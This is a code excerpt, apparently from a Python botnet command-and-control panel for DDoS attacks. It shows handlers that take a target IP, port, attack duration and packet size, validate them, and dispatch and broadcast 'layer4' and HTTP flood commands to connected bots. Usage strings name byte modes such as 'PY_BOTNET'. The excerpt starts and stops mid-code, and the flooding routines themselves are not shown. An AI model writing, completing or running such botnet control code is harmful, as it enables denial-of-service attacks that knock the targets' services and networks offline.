(args,mode, validate_ip, validate_port, validate_time, validate_size, send, client, ansi_clear, attack_sent2, broadcast, data)
| 75 | send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME]') |
| 76 | |
| 77 | def all_layer4(args,mode, validate_ip, validate_port, validate_time, validate_size, send, client, ansi_clear, attack_sent2, broadcast, data): |
| 78 | if len(args) == 6: |
| 79 | ip = args[1] |
| 80 | port = args[2] |
| 81 | secs = args[3] |
| 82 | size = args[4] |
| 83 | if validate_ip(ip): |
| 84 | if validate_port(port): |
| 85 | if validate_time(secs): |
| 86 | if validate_size(size): |
| 87 | send(client, ansi_clear, False) |
| 88 | attack_sent2(ip, port, secs, size, client) |
| 89 | broadcast(data) |
| 90 | else: |
| 91 | send(client, Fore.RED + 'Invalid packet size (0-999999999999 bytes)') |
| 92 | else: |
| 93 | send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)') |
| 94 | else: |
| 95 | send(client, Fore.RED + 'Invalid port number (1-65535)') |
| 96 | else: |
| 97 | send(client, Fore.RED + 'Invalid IP-address') |
| 98 | else: |
| 99 | mode_type = mode.split('.') |
| 100 | mode_type = mode_type[1].lower() |
| 101 | send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME] [SIZE] [TYPE_BYTES]') |
| 102 | send(client, '[TYPE_BYTES] <-- URANDOM RANDBYTES OS_URANDOM OS_RANDBYTES PY_BOTNET') |
| 103 | def http_req_all(args,mode, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 104 | if len(args) == 4: |
| 105 | ip = args[1] |
no test coverage detected